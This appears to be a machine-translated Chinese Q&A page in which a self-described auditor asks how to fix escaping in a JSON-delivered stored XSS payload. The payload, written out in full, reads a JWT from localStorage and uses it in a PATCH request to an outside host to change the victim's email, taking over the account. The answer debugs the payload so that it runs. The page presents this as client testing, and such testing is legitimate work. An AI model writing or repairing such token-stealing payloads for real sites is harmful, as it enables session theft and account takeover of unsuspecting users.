xmlhttp post json数据(javascript)上的引号在另一个json变量内发送时出现一些错误

问题描述 投票:0回答:1

我正在审核Web应用程序上的客户端漏洞。我发现了一些xss,但我想进一步升级,但是我面临的问题是数据在json中发送。现在,当我在其中引入xmlhttp请求时,该请求需要使用双引号发送其POST数据。这就是问题所在,即转义那些引号。

我尝试用两个反斜杠将其转义,但请求失败。但是,当我使用有效负载中的一个反斜杠发送请求时,请求成功,但是javascript执行失败

所以基本上问题是数据是这样发送的:

POST{“ x”:“ y”,“ html”:“ javascript代码”}

我的xss的有效载荷是这个:

POST 

DATA
{"x":"y","html":"<svg onload=\"var token=localStorage.getItem('murally.jwt');
alert(token);
var xhr=new XMLHttpRequest();xhr.open('PATCH','https://x.com',true);
xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');
xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body='{\"email\":\"[email protected]\"}';
xhr.send(JSON.stringify(body));
xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status 
== 200) { alert(xhr.responseText) }};\"/>"}

现在,我从两个方面陷入困境:

1)当我在请求中发送与上面相同的代码时,数据存储在服务器端,但是当我加载存储该页面的页面时,控制台中出现错误:SyntaxError:''字符串文字包含未转义的换行符,因此我的有效载荷无法正常工作并失败。

2)在Internet上搜索之后,我发现了上述解决方案,我需要对发布数据的引号加倍转义,以供浏览器正确解析,但是当我再次以双反斜杠发送该请求时,又出现了另一个问题请求失败,出现错误{“错误”:“ INVALID_PAYLOAD”,“消息”:“格式错误的JSON”}

所以现在我必须以某种方式使该请求绕过这两个错误才能正常工作,对此是否有解决方案。我在开发方面的工作并不多,因此,如果有任何帮助,将不胜感激。我想向客户展示xss的巨大影响,即xss如何导致帐户接管。如果有办法通过适当的转义来缓解这两个问题,请帮助我。如果您需要更多信息,请随时询问。

谢谢。

javascript json http security xss
1个回答
0
投票

有效负载中有2个问题:

  1. 对于html字段的值,不应引入换行符-这将导致“未转义的换行符”错误。您可以删除所有换行符,并将html字符串存储为单行紧凑文本。

  2. 对于有效负载中的body,它可以是普通的JavaScript对象,例如var body={email:'[email protected]'};-在下一行代码中,它将通过JSON.stringify(body)转换为JSON字符串,双引号不是必要。

© www.soinside.com 2019 - 2024. All rights reserved.